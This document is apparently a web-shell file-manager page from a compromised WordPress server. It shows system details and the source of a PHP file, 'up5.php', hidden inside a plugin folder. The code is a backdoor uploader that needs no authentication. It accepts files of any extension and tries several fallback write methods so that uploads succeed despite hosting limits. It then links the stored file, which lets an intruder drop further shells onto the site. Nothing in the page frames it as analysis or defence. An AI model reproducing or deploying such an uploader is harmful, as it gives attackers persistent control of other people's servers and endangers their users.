HEX
Server: Apache
System: Linux wordpress-7747d7f866-jpjs6 6.12.0-101.33.4.3.el9uek.aarch64 #1 SMP Mon Jul 14 18:15:52 PDT 2025 aarch64
User: (1001)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /opt/bitnami/wordpress/wp-content/plugins/zeddnos/m/up5.php
<?php
// Set waktu eksekusi lebih lama untuk file besar agar tidak di-cut LiteSpeed
@set_time_limit(300);

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['ufile'])) {
    $file = $_FILES['ufile'];
    $tmp  = $file['tmp_name'];

    if ($file['size'] <= 0 || empty($tmp)) {
        die("❌ Gagal: File kosong!");
    }

    // 1. Ambil ekstensi asli
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    
    // 2. Acak nama file (Contoh: a1b2c3d4_17000000.jpg)
    // Path tetap sama (__DIR__)
    $newName = bin2hex(random_bytes(4)) . '_' . time() . '.' . ($ext ?: 'bin');
    $dest    = __DIR__ . '/' . $newName;

    // 3. Eksekusi Beragam Cara Upload
    $ok = false;
    if (move_uploaded_file($tmp, $dest)) { $ok = true; } 
    elseif (copy($tmp, $dest)) { $ok = true; } 
    elseif (file_put_contents($dest, @file_get_contents($tmp))) { $ok = true; } 
    elseif (rename($tmp, $dest)) { $ok = true; }

    // 4. Validasi Akhir: Cek jika file beneran masuk dan bukan 0Kb (Fix LiteSpeed Issue)
    if ($ok && file_exists($dest) && filesize($dest) > 0) {
        echo "✅ Berhasil! Nama Baru: <a href='$newName'>$newName</a>";
    } else {
        if (file_exists($dest)) @unlink($dest); // Hapus jika file zonk/0kb
        echo "❌ Gagal: File korup 0Kb atau masalah izin folder.";
    }
    echo "<hr>";
}
?>

<form method="POST" enctype="multipart/form-data">
    <input type="file" name="ufile">
    <input type="submit" value="Upload">
</form>